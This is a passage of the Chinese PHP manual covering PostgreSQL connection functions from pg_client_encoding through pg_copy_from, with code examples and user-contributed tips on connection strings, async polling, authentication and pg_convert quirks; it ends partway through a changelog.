PostgreSQL 支持某些字符集在服务器和客户端之间自动进行字符集转换。pg_client_encoding() 以字符串形式返回客户端编码。返回的字符串将是标准的 PostgreSQL 编码标识符之一。

Note:

此函数需要 PostgreSQL 7.0 或更高版本。如果 libpq 在没有多字节编码支持的情况下编译，pg_client_encoding() 总是返回 SQL_ASCII。支持的编码取决于 PostgreSQL 版本。请参阅 PostgreSQL 文档支持的编码。

此函数过去称为 pg_clientencoding()。

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

客户端编码。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 现在可以为 null。

示例

Example #1 pg_client_encoding() 示例

<?php
// Assume $conn is a connection to a ISO-8859-1 database
$encoding = pg_client_encoding($conn);

echo "Client encoding is: ", $encoding, "\n";
?>

以上示例会输出：

Client encoding is: ISO-8859-1

参见

  • pg_set_client_encoding() - 设定客户端编码

User Contributed Notes

There are no user contributed notes for this page.


关闭 PostgreSQL 连接

  • ? pg_client_encoding
  • pg_connect_poll ?
  • PHP Manual
  • PostgreSQL 函数
  • 关闭 PostgreSQL 连接

pg_close

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_close — 关闭 PostgreSQL 连接

说明

pg_close(?PgSql\Connection $connection = null): true

pg_close() 关闭与指定 connection 实例关联的 PostgreSQL 数据库的非持久连接。

Note:

通常不需要使用 pg_close()，因为打开的非持久连接会在脚本结束时自动关闭。

如果连接上有打开的 PgSql\Lob 实例，请不要在关闭所有 PgSql\Lob 实例之前关闭连接。

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 现在可以为 null。

示例

Example #1 pg_close() 示例

<?php
$dbconn = pg_connect("host=localhost port=5432 dbname=mary")
or die("Could not connect");
echo "Connected successfully";
pg_close($dbconn);
?>

以上示例会输出：

Connected successfully

参见

  • pg_connect() - 打开 PostgreSQL 连接

User Contributed Notes

amays 15-Nov-2005 03:47
pg_close(...) will not technically close a persistent connection but instead returns it back to the connection pool thus giving you the desired effect of having the connection closed within your script.

http://www.sitepoint.com/article/accessing-postgresql-php/3

best wishes to all.
mark at redbrick dot dcu dot ie 24-Mar-2003 06:31
This function closes the current database connection specified by a handle returned from a pg_connect() call.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }

    // Do database stuff here.

    if(!pg_close($pgsql_conn)) {
        print "Failed to close connection to " . pg_host($pgsql_conn) . ": " .
       pg_last_error($pgsql_conn) . "<br/>\n";
    } else {
        print "Successfully disconnected from database";
    }
?>

Of course you normally wouldn't print a message.

Regards, --mark


对正在进行尝试进行异步的 PostgreSQL 连接轮询其状态。

  • ? pg_close
  • pg_connect ?
  • PHP Manual
  • PostgreSQL 函数
  • 对正在进行尝试进行异步的 PostgreSQL 连接轮询其状态。

pg_connect_poll

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_connect_poll — 对正在进行尝试进行异步的 PostgreSQL 连接轮询其状态。

说明

pg_connect_poll(PgSql\Connection $connection): int

pg_connect_poll() 轮询通过 PGSQL_CONNECT_ASYNC 选项调用 pg_connect() 创建的 PostgreSQL 连接的状态。

参数

connection

PgSql\Connection 实例。

返回值

返回 PGSQL_POLLING_FAILED、PGSQL_POLLING_READING、PGSQL_POLLING_WRITING、PGSQL_POLLING_OK 或 PGSQL_POLLING_ACTIVE。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

User Contributed Notes

VLroyrenn 30-Jan-2019 05:31
So the documentation on this function is pretty barebones (as is the case for a lot of thin PHP wrappers around C functions), but from what I've gathered by reading the libpq doc and trying various things, you should probably know the following :

* Polling the connection while the underlying socket is busy will cause the connection (or at least the polling, I'm not sure) to fail.
* As stated by the libpq documentation, "do not assume that the socket remains the same across PQconnectPoll calls"
* The socket will become ready after every change in connection status, so the connection must be polled multiple times until the function returns "polling_ok" or "polling_failed".
* "polling_active" can never be returned by libpq and has literally never been used anywhere ever, it has been an unused constant since day 1.

What you need to do is use pg_socket get a PHP stream object corresponding to the current socket and wait after it before polling, like so:

<?php
function pg_wait_connection_ready($conn) {
    assert(is_resource($conn));
    assert(get_resource_type($conn) === "pgsql link" || get_resource_type($conn) === "pgsql link persistent");

    // "On the first iteration, i.e. if you have yet to call PQconnectPoll, behave as if it last returned PGRES_POLLING_WRITING."
    $poll_outcome = PGSQL_POLLING_WRITING;

    while (true) {
        $socket = [pg_socket($conn)]; // "Caution: do not assume that the socket remains the same across PQconnectPoll calls."
        $null = [];

        if ($poll_outcome === PGSQL_POLLING_READING) {
            stream_select($socket, $null, $null, 5);
            $poll_outcome = pg_connect_poll($conn);
        } else if ($poll_outcome === PGSQL_POLLING_WRITING) {
            stream_select($null, $socket, $null, 5);
            $poll_outcome = pg_connect_poll($conn);
        } else {
            break;
        }
    }
}

$db = pg_connect($conn_string, PGSQL_CONNECT_ASYNC);
// Do things while the connection is getting ready
pg_wait_connection_ready($db);
pg_query($sql);
?>


打开 PostgreSQL 连接

  • ? pg_connect_poll
  • pg_connection_busy ?
  • PHP Manual
  • PostgreSQL 函数
  • 打开 PostgreSQL 连接

pg_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_connect — 打开 PostgreSQL 连接

说明

pg_connect(string $connection_string, int $flags = 0): PgSql\Connection|false

pg_connect() 打开通过 connection_string 指定的 PostgreSQL 数据库的连接。

如果使用与现有连接相同的 connection_string 对 pg_connect() 进行第二次调用，将返回现有连接，除非将 PGSQL_CONNECT_FORCE_NEW 作为 flags 传递。

弃用有多个参数的旧语法 $conn = pg_connect("host", "port", "options", "tty", "dbname")。

参数

connection_string

connection_string 可以为空以使用所有默认参数，或者可以包含一个或多个由空格分隔的参数设置。 每个参数设置的形式为 keyword = value。等号两旁的空格是可选的。写入空值或包含空格的值，请用单引号将其括起来，例如 keyword = 'a value'。值中的单引号和反斜线必须使用反斜线转义，即 \' 和 \\。

当前可识别的参数关键字有 host、hostaddr、port、dbname（默认为 user 的值）、user、password、connect_timeout、options、tty（忽略）、sslmode、requiressl（弃用 sslmode）和 service。存在哪些参数取决于 PostgreSQL 版本。

The options parameter can be used to set command line parameters to be invoked by the server.

flags

如果传递 PGSQL_CONNECT_FORCE_NEW，将会创建新连接，即使 connection_string 与现有连接相同。

如果指定 PGSQL_CONNECT_ASYNC，然后连接是异步创建。连接状态可以通过 pg_connect_poll() 或 pg_connection_status() 检测。

返回值

成功时返回 PgSql\Connection 实例， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在返回 PgSql\Connection 实例；之前返回 resource。

示例

Example #1 使用 pg_connect()

<?php
$dbconn = pg_connect("dbname=mary");
//connect to a database named "mary"

$dbconn2 = pg_connect("host=localhost port=5432 dbname=mary");
// connect to a database named "mary" on "localhost" at port "5432"

$dbconn3 = pg_connect("host=sheep port=5432 dbname=mary user=lamb password=foo");
//connect to a database named "mary" on the host "sheep" with a username and password

$conn_string = "host=sheep port=5432 dbname=test user=lamb password=bar";
$dbconn4 = pg_connect($conn_string);
//connect to a database named "test" on the host "sheep" with a username and password

$dbconn5 = pg_connect("host=localhost options='--client_encoding=UTF8'");
//connect to a database on "localhost" and set the command line parameter which tells the encoding is in UTF-8
?>

参见

  • pg_pconnect() - 打开一个持久的 PostgreSQL 连接
  • pg_close() - 关闭 PostgreSQL 连接
  • pg_host() - 返回和某连接关联的主机名
  • pg_port() - 返回 connection 相关的端口号
  • pg_tty() - 返回跟连接相关的 tty 名
  • pg_options() - 获得和 connection 相关的选项
  • pg_dbname() - 获取数据库名称

User Contributed Notes

VLroyrenn 30-Jan-2019 07:31
For what it's worth, it should be noted that, while PHP will generally handle connection-reuse for you so long as you keep using the same connection strings, as in the following example:

<?php
$before_conn1 = microtime(true);
$db1 = pg_connect($conn_string);

$before_conn2 = microtime(true);
$db2 = pg_connect($conn_string);
$after_conn2 = microtime(true);

echo($before_conn2 - $before_conn1); // Takes ~0.03s
echo("\n");
echo($after_conn2 - $before_conn2); // Takes 0s
?>

...as nice as it would have been, this does not hold true for async connections; you have to manage those yourself and you can't follow up an async connection with a blocking one later on as an easy way to wait for the connection process to complete before sending queries.

<?php
$before_conn1 = microtime(true);
$db1 = pg_connect($conn_string, PGSQL_CONNECT_ASYNC);
sleep(1);

$before_conn2 = microtime(true);
$db2 = pg_connect($conn_string);
$after_conn2 = microtime(true);

echo($before_conn2 - $before_conn1); // Takes ~1s
echo("\n");
echo($after_conn2 - $before_conn2); // Takes ~0.025s
?>
Anonymous 21-Feb-2018 09:25
<?php

class Baza {
    const DNS='mysql:host=localhost;dbname=news;charset=utf8';
    const UZYTKOWNIK='root';
    const HASLO='';

    public $klient;

    function __construct(){
        $this->polacz();
    }
    public function polacz(){
    try{
        $this->klient=new PDO(
            self::DNS,
            self::UZYTKOWNIK,
            self::HASLO
        );
    }
    catch (PDOException $e){
        die('Wyst?pi? nast?puj?cy b??d bazy danych: '.$e->getMessage());
    }
    return true;
    }
}
lukasz dot wolczak at gmail dot com 23-Jul-2016 09:37
It is worth to know, that you can set application_name in connection string, consider this simple example:

<?php
$appName = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$connStr = "host=localhost port=5432 dbname=postgres user=postgres options='--application_name=$appName'";

//simple check
$conn = pg_connect($connStr);
$result = pg_query($conn, "select * from pg_stat_activity");
var_dump(pg_fetch_all($result));

?>

By doing this move on cli or cgi you can see in pgAdmin what scripts are running or what requests are running on database. You can extend configuration of postgres to track slow queries and print application name to logs. It was very usuful to me to find out what and where should I optimize.
floriparob at gmail dot com 12-Jul-2016 03:20
Using the "service" parameter as the connection string -- we found that the following functions:-

putenv("PGSERVICEFILE=/path/to/your/service/file/pg_service.conf");
$connect_string = ("service=testdb");
try {
   $pgconn_handle = pg_connect($connect_string);
   . . . . . etc.

Note:-
1) the environment variable has to point to the path AND file name.
2) the file has to be readable by Apache.

See:-

https://www.postgresql.org/docs/9.6/static/libpq-pgservice.html

for how to create your pg_service.conf
Anonymous 24-Apr-2015 06:41
If you get the following warning :
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not translate host name "server.your.trying.to.connect.to" to address:"
and the server you are trying to connect to is fine and the connecting itself should be working fine,
it might be the case that the postgres extension for PHP might be confused about something.
Try to restart your Apache to reinitialize the extension.
Anonymous 29-Sep-2014 07:50
Getting md5 passwords was confusing because of a lack of documentation:

- set up your pg_hba.conf in order to use md5 password instead of 'trust' or 'ident'
- check if your postgres.conf has 'password_encryption=on' (depending on the version this might already be 'on').
- make sure to restart your postgres process.
- in PHP you just supply the username and password in _plain_ text:
'host=localhost port=5432 dbname=megadb user=megauser password=holyhandbagsbatmanthispasswordisinplaintext'
The postgres PHP library will automagically do the md5 encoding for you, no need to do it yourself.
Dave 03-Jun-2013 12:40
If you use pgbouncer and unix socket
and you pgbouncer.ini looks like this
listen_port = 6432
unix_socket_dir = /tmp

you connect like this

pg_connect('host=/tmp port=6432 dbname=DB user=USER password=PASS');
dreamsoundaudio at gmail dot com 03-Sep-2011 10:06
Ubuntu/Debian users, specifically server versions: If you used Tasksel to build PostgreSQL, and you're banging your head against the wall with the "Fatal error: Call to undefined function pg_connect()" error, check that php5-pgsql is installed.

Tasksel apparently doesn't install it.
thakur at corexprts dot com 27-Oct-2010 01:45
One thing is to remember, whenever trying to use pg_connect, add the timeout parameter with it

<?php
$d=pg_connect('host=example.com user=pgsql dbname=postgres connect_timeout=5');
?>
infotirona at yahoo dot com 16-Aug-2010 06:33
It's strange how this "Fatal error: Call to undefined function pg_connect()" happens(when everything else is OK) in PHP version 5.3.3.

I was trying to connect to my db when I got that error message the firs time. My extensions path was OK, pgsql extension  should have been loaded from php.ini(i had enabled it before), Apache started-up without errors, but i still had the "Fatal error: Call to undefined function pg_connect()" message when i tried to connect.
Seaching a bit around i found something about dll libraries not working as they should, so deleted the new 5.3.3 version, downloaded the PHP 5.2.5 and configured it.

I'm using Windows XP Home SP3, Apache 2.2, PHP 5.2.5 and everything works fine now... ;)
gutostraube at gmail dot com 02-Oct-2009 06:51
It's possible connect to a PostgreSQL database via Unix socket using the pg_connect() function by the following two ways:

1) Using the socket path:

<?php
$conn = pg_connect('host=/var/run/postgresql user=username dbname=databasename');
?>

2) Omitting the host name/path:

<?php
$conn = pg_connect('user=username dbname=databasename');
?>

Note: in this case (omitting the host value), the default socket path will be used.
bgalloway at citycarshare dot org 27-Mar-2008 06:33
Beware about writing something like
<?php
function getdb_FAILS() {
    return pg_connect("...") or die('connection failed');
}
?>

It will return a boolean.  This will appear to be fine if you don't use the return value as a db connection handle, but will fail if you do.

Instead, use:
<?php
function getdb() {
    $db = pg_connect("...") or die('connection failed');
    return $db;
}
?>

which actually returns a handle.
tim at buttersideup dot com 28-Dec-2007 10:41
It's not explicitly stated here, but you can also connect to PostgreSQL via a UNIX domain socket by leaving the host empty.  This should have less overhead than using TCP e.g.:

$dbh = new PDO('pgsql:user=exampleuser dbname=exampledb password=examplepass');

In fact as the C library call PQconnectdb underlies this implementation, you can supply anything that this library call would take - the "pgsql:" prefix gets stripped off before PQconnectdb is called, and if you supply any of the optional arguments (e.g. user), then these arguments will be added to the string that you supplied...  Check the docs for your relevant PostgreSQL client library: e.g.

http://www.postgresql.org/docs/8.3/static/libpq-connect.html

If you really want, you can use ';'s to separate your arguments - these will just be converted to spaces before PQconnectdb is called.

Tim.
xourge 19-Aug-2007 09:17
remember that when you use a blank password there will be an error because of:
password= dbname= (...)
to fix this problem use '' in your $options variable
example:

$options = " host='localhost' port='5432' user='postgres' password='' dbname='test' ";
pg_connect($options);

*** careful: I used double ' after password=, not "
Sohel Taslim 02-Aug-2007 07:20
I got the same problem but I have to solve that in different way.
In my postgresql.conf file the following was commented.
So, I active that under Connection Settings-

# - Connection Settings -
tcpip_socket = true
borovik -at- gmail 03-Apr-2007 07:06
"If you use pg_connect('host=localhost port=5432 user=my_username password=my_password dbname=my_dbname') and you get the following error:
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not connect to server: Connection refused Is the server running on host localhost and accepting TCP/IP connections on port 5432?"
"
I solved this error just by setting listen_addresses = '*' in the postgresql.conf file. This error occurs probably despite of a name resolution to localhost, given in the "host" parameter. So you can set the host in the pg_connect() function.
Anonymous 10-Apr-2005 09:51
The values accepted by pg_connect's sslmode argument are: disable, allow, prefer, require
phpnet at benjamin dot schulz dot name 01-Sep-2004 04:28
if you need to open a new connection handle (i.e. for multiple pg_send_query()) use PGSQL_CONNECT_FORCE_NEW as second parameter to pg_connect()
Cybertinus 15-Dec-2003 01:47
If you use pg_connect('host=localhost port=5432 user=my_username password=my_password dbname=my_dbname') and you get the following error:
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not connect to server: Connection refused Is the server running on host localhost and accepting TCP/IP connections on port 5432?"
then you should try to leave the host= and port= parts out of the connection string. This sounds strange, but this is an "option" of Postgre. If you have not activated the TCP/IP port in postgresql.conf then postgresql doesn't accept any incoming requests from an TCP/IP port. If you use host= in your connection string you are going to connect to Postgre via TCP/IP, so that's not going to work. If you leave the host= part out of your connection string you connect to Postgre via the Unix domain sockets, which is faster and more secure, but you can't connect with the database via any other PC as the localhost.
xzilla at users dot sourceforge dot net 09-Dec-2003 08:22
regarding the note from  matias at nospam dot projectcast dot com
on 12-Feb-2002 01:16, you do not need a user in the database with the same name a your web user with ANY version of postgresql.  The only time that would be a requirement ifs if you set your postgresql server to only allow IDENT based authentication  (which IIRC is the default on Red Hat systems, which might be what lead to the confusion).  For more info on the various authentication methods allowed by postgresql, check out http://www.postgresql.org/docs/7.4/static/client-authentication.html
derry at siliconriver.com dot au 07-Aug-2003 08:48
pg_connect seems to support SSL connections, on systems where Postgres has been compiled with ssl, i'm assuming this is since psql uses libpq to connect.
pg_connect can successfully connect, and use the "requiressl" argument.
jtate at php dot net 31-Dec-2002 02:36
If you use host=HOSTNAME in your pg_connect string when connecting to PostgreSQL databases newer than 7.1, you need to make sure that your postmaster daemon is started with the "-i" option.  Otherwise the connection will fail.  See http://www.postgresql.org/idocs/index.php?client-authentication.html for client authentication documentation.
matias at nospam dot projectcast dot com 12-Feb-2002 01:16
At least with Postgres 7.2, connecting to local postgresdatabase requires a user in the database with the same name as the user running apache, or the connection fails.
rolf at sir-wum dot de 12-Oct-2001 05:54
pg_connect() won't work with the authentication method 'crypt' in the pg_hba.conf. Took me an hour to figure that out till I remeberd some other issues with windows missing the crypt() call.
kayotix at yahoo dot com 14-Sep-2000 11:54
Little note that is buried in the install somewhere.  In Php 3, PostgreSQL support was activated by adding --with-postgresql=[DIR] to the options passed to ./configure.  With Php 4.0.2 (on Linux) the parameter was --with-pgsql.  The only place I found this was in the installing PHP on Unix section of the manual.
leace at post dot cz 21-Jul-2000 02:26
If you use PostgreSQL users for authenticating into your pg database rather than using your own authentication, always specify host directive in pg_connect and edit pg_hba.conf to authenticate from this host accordingly. Otherwise, PHP will connect as 'local' using UNIX domain sockets, which is set in pg_hba.conf to 'trust' by default (so you can connect using psql on console without specifying password) and everyone can connect to db _without password_ .


获取连接是否繁忙

  • ? pg_connect
  • pg_connection_reset ?
  • PHP Manual
  • PostgreSQL 函数
  • 获取连接是否繁忙

pg_connection_busy

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_connection_busy — 获取连接是否繁忙

说明

pg_connection_busy(PgSql\Connection $connection): bool

pg_connection_busy() 确定连接是否繁忙。如果繁忙，则之前的查询仍在执行。如果在连接上使用 pg_get_result()，将被阻塞。

参数

connection

PgSql\Connection 实例。

返回值

如果连接繁忙返回 true，否则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_connection_busy() 示例

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");
$bs = pg_connection_busy($dbconn);
if ($bs) {
echo 'connection is busy';
} else {
echo 'connection is not busy';
}
?>

参见

  • pg_connection_status() - 获取连接状态
  • pg_get_result() - 取得异步查询结果

User Contributed Notes

VLroyrenn 19-Jun-2019 01:35
There doesn't seem to be any documented way of using this function here, and I'm sore most people trying this are going to default to using a busy loop if there is nothing else to do while waiting (in which case pg_get_result would be better, since it just blocks until a result is ready) or a sleep loop if trying to cancel the query after a certain time.

The C documentation for libPq reccomends using PQisBusy (the C equivalent of pg_connection_busy) by waiting on a socket instead, which lets you timeout if the state doesn't change after a certain period but immediately react if it changes. If you want to cancel after a timeout, you would have something like this :

<?php
class SomeKindOfTimeoutException extends Exception { }

class SomeKindOfSQLErrorException extends Exception { }

function query_with_timeout($conn, $query, $timeout_seconds) {
    assert(pg_get_result($conn) === false); // Ensure that nothing is running

    $socket = [pg_socket($conn)];
    $null = [];

    $dispatch_ok = pg_send_query($conn, $query);

    $still_running = pg_connection_busy($conn);

    while($still_running) {
        // https://www.postgresql.org/docs/current/libpq-async.html
        // "A typical application using these functions will have a main loop that uses select() or poll() to wait for all the conditions that it must respond to."
        // "One of the conditions will be input available from the server, which in terms of select() means readable data on the file descriptor identified by PQsocket."
        // PQisBusy is mapped to pg_connection_busy
        stream_select($socket, $null, $null, $timeout_seconds); // Will wait on that socket until that happens or the timeout is reached
        $still_running = pg_connection_busy($conn); // False on timeout, true if complete

        // You could keep polling like that, this just breaks and throws immediately on first loop
        if ($still_running) {
            $cancel_ok = pg_cancel_query($conn);
            throw new SomeKindOfTimeoutException("TIMEOUT");
        }
    }

    $res = pg_get_result($conn);

    try {
        $error_msg = pg_result_error($res);
        if ($error_msg) throw new SomeKindOfSQLErrorException($error_msg);

        return pg_fetch_all($res);
    } finally {
        pg_free_result($res);
    }
}

$conn_string = "host=localhost port=5433 dbname=postgres";
$db = pg_connect($conn_string);

query_with_timeout($db, "SELECT pg_sleep(10)", 3); // Will throw
?>
levi at alliancesoftware dot com dot au 08-Nov-2009 05:00
pg_connection_busy() returning true does not necessarily mean that there are results waiting for pg_get_result(); it also stays true for some time after a query that causes any sort of postgres error. (See http://bugs.php.net/bug.php?id=36469)


重置连接（再次连接）

  • ? pg_connection_busy
  • pg_connection_status ?
  • PHP Manual
  • PostgreSQL 函数
  • 重置连接（再次连接）

pg_connection_reset

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_connection_reset — 重置连接（再次连接）

说明

pg_connection_reset(PgSql\Connection $connection): bool

pg_connection_reset() 重置连接。用于错误恢复。

参数

connection

PgSql\Connection 实例。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_connection_reset() 示例

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");
$dbconn2 = pg_connection_reset($dbconn);
if ($dbconn2) {
echo "reset successful\n";
} else {
echo "reset failed\n";
}
?>

参见

  • pg_connect() - 打开 PostgreSQL 连接
  • pg_pconnect() - 打开一个持久的 PostgreSQL 连接
  • pg_connection_status() - 获取连接状态

User Contributed Notes

There are no user contributed notes for this page.


获取连接状态

  • ? pg_connection_reset
  • pg_consume_input ?
  • PHP Manual
  • PostgreSQL 函数
  • 获取连接状态

pg_connection_status

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_connection_status — 获取连接状态

说明

pg_connection_status(PgSql\Connection $connection): int

pg_connection_status() 返回指定 connection 的状态。

参数

connection

PgSql\Connection 实例。

返回值

PGSQL_CONNECTION_OK 或 PGSQL_CONNECTION_BAD。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_connection_status() 示例

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");
$stat = pg_connection_status($dbconn);
if ($stat === PGSQL_CONNECTION_OK) {
echo 'Connection status ok';
} else {
echo 'Connection status bad';
}
?>

参见

  • pg_connection_busy() - 获取连接是否繁忙

User Contributed Notes

Anonymous 30-Mar-2018 01:38
The wiki page doesn't currently reflect that, but if you're passing PGSQL_CONNECT_ASYNC to pg_connect, creating the connection won't block and transitions through extra states expressed by those constants.

PGSQL_CONNECTION_AUTH_OK
PGSQL_CONNECTION_AWAITING_RESPONSE
PGSQL_CONNECTION_MADE
PGSQL_CONNECTION_SETENV
PGSQL_CONNECTION_SSL_STARTUP
PGSQL_CONNECTION_STARTED
Mathieu De Zutter 02-Aug-2006 05:45
Being careful with the comparison operators is not enough:

<?php
if (pg_connection_status($link)===PGSQL_CONNECTION_BAD)
   reconnect($link);
?>
The reconnect won't be trigged when $link is null.

The manual is just wrong, there are three return values: PGSQL_CONNECTION_OK, PGSQL_CONNECTION_BAD, null
david dot tulloh at infaze dot com dot au 14-Jun-2005 08:33
I think zytox is incorrect, at least in PHP 5.0.4.
It returns null, but you have to be careful with your comparison operators.

As an example:
<?php
unset($null);
if (pg_connection_status($null)===PGSQL_CONNECTION_OK)
    echo 'this is not called';
if (pg_connection_status($null)==PGSQL_CONNECTION_OK)
    echo 'this is called because NULL==0 is true';
?>
zytox at hotmail dot com 02-Apr-2005 10:34
If the connection variable is NULL this function returns 0 in PHP 5.0.2. Havent figured out any more erratic values for the connection variable but be careful.


Reads input on the connection

  • ? pg_connection_status
  • pg_convert ?
  • PHP Manual
  • PostgreSQL 函数
  • Reads input on the connection

pg_consume_input

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_consume_input — Reads input on the connection

说明

pg_consume_input(PgSql\Connection $connection): bool

pg_consume_input() consumes any input waiting to be read from the database server.

参数

connection

PgSql\Connection 实例。

返回值

true if no error occurred, or false if there was an error. Note that true does not necessarily indicate that input was waiting to be read.

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

User Contributed Notes

There are no user contributed notes for this page.


将关联的数组值转换为适合 SQL 语句的格式

  • ? pg_consume_input
  • pg_copy_from ?
  • PHP Manual
  • PostgreSQL 函数
  • 将关联的数组值转换为适合 SQL 语句的格式

pg_convert

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_convert — 将关联的数组值转换为适合 SQL 语句的格式

说明

pg_convert(
PgSql\Connection $connection,
string $table_name,
array $values,
int $flags = 0
): array|false

pg_convert() 检查 values 中的值并将其转换为为适用于 SQL 语句的值。pg_convert() 的前提条件是现有的表 table_name 中具有的列至少有 values 中的单元那么多。table_name 中的字段名以及字段值必须匹配 values 中的索引，并且相应的数据类型必须兼容。成功时返回包含转换后的值的数组，否则返回 false。

Note:

接受 bool 值并转换为 PostgreSQL boolean 值。还支持 bool 值的字符串表示。null 转换为 PostgreSQL NULL。

参数

connection

PgSql\Connection 实例。

table_name

要转换类型的表名。

values

要转换的数据。

flags

PGSQL_CONV_IGNORE_DEFAULT、PGSQL_CONV_FORCE_NULL 或 PGSQL_CONV_IGNORE_NOT_NULL 的任意数量组合。

返回值

转换值后的 array， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_convert() 示例

<?php
$dbconn = pg_connect('dbname=foo');

$tmp = array(
'author' => 'Joe Thackery',
'year' => 2005,
'title' => 'My Life, by Joe Thackery'
);

$vals = pg_convert($dbconn, 'authors', $tmp);
?>

参见

  • pg_meta_data() - 获得表的元数据
  • pg_insert() - 将数组插入到表中
  • pg_select() - 选择记录
  • pg_update() - 更新表
  • pg_delete() - 删除记录

User Contributed Notes

VLroyrenn 23-Mar-2018 03:57
Another thing that's not well documented is that (as of PHP 7.0/7.1) pg_convert doesn't like non-scalar types and will fail (but not throw just emit an E_WARNING and return false) if you pass it anything other than a string or a number, including an array or something like a DateTime. If you want to insert those types, you actually have to convert those yourself.

Also, somewhat surprisingly, $table_name is not compatible with the output of pg_?escape_?identifier, or seemingly any other kind of escaping.
Hayley Watson 16-Jul-2017 02:13
This will only apply the appropriate escaping and such appropriate for embedding the PHP value into an SQL statement.

It does (by default) check for nulls when the column is marked NOT NULL, and it will complain about trying to convert strings for an integer column (floats will be truncated).

Beyond the barest checking of syntax, however, it does NOT verify that the given value is a legitimate value for the column type.

<?php
// Assuming smallints.smallintis a smallint (-32768..32767) type column
foreach([-1234,
    1234,
    0,
    32767,
    -32768,
    32768,  // bogus value for smallint type
    45.8,   // gets truncated to 45
    400000, // bogus value for smallint type
    ] as $smallint)
{
    $tmp = ['smallint' => $smallint];
    $vals = pg_convert($dbconn, 'smallints', ['smallint' => $smallint]);
    echo $vals['"smallint"'],"\n";  // Notice the column name is also made SQL-safe
}

// Assuming uuids.uuid is a UUID type column
foreach(['a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11',
    'A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11',
    'a0eebc999c0b4ef8bb6d6bb9bd380a11',
    '{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}',
    'Invalid Not-a-UUID',
    '{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}',
    'a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11',
    ] as $uuid)
{
    $tmp = ['uuid' => $uuid];
    $vals = pg_convert($dbconn, 'uuids', ['uuid' => $uuid]);
    echo $vals['"uuid"'],"\n";
}

?>

All of the above data values will be "converted" - even the invalid ones - without complaint.
gorhas at gmail dot com 07-Oct-2014 08:41
There is a problem when using interval.
If in the array
"time_pause" => '00:30:00'
and time_pause is an interval
the insert fails
pg_insert(): '00:30:00' does not match with  '^(@?[ \t]+)?((([-+]?[ \t]+)?[0-9]+(\.[0-9]*)?[ ...
31-Mar-2004 08:02
The only options that I see are:

PGSQL_CONV_IGNORE_DEFAULT  - Do not use DEAFULT value by removing field from returned array
PGSQL_CONV_FORCE_NULL - Convert to NULL if string is null string
PGSQL_CONV_IGNORE_NOT_NULL  - Ignore NOT NULL constraints

These are constants, so don't quote them or anything.
dharana at dharana dot net 12-May-2003 06:28
I've found "options" possible values:

PG_CONV_CHECK - check only
PG_CONV_STRICT - raise warning for non fatal error
PG_CONV_QUOTE - add quote around values for vchar, text datetime.
PG_CONV_SLASH - add slashes if it needed.
PG_CONV_NULLCHK - check values are defined for NOT NULL fields.
PG_CONV_NO_DEFAULT - ignore default value even if value is empty string.


将数组中的记录插入到表

  • ? pg_convert
  • pg_copy_to ?
  • PHP Manual
  • PostgreSQL 函数
  • 将数组中的记录插入到表

pg_copy_from

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_copy_from — 将数组中的记录插入到表

说明

pg_copy_from(
PgSql\Connection $connection,
string $table_name,
array $rows,
string $separator = "\t",
string $null_as = "\\\\N"
): bool

pg_copy_from() 将 rows 插入记录到表中。在内部发出 COPY FROM 命令以插入记录。

参数

connection

PgSql\Connection 实例。

table_name

复制 rows 到其中的表名。

rows

要复制 array 中的数据到 table_name。rows 中的每个值都成为 table_name 中的一行。rows 中的每个值都应该用字符串分割以插入到每个字段。值应该换行终止。

separator

rows 的每个元素分割为每个字段的值的标记。默认为 \t。

null_as

SQL NULL 值在 rows 中的表示方式。默认为 \\N（"\\\\N"）。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
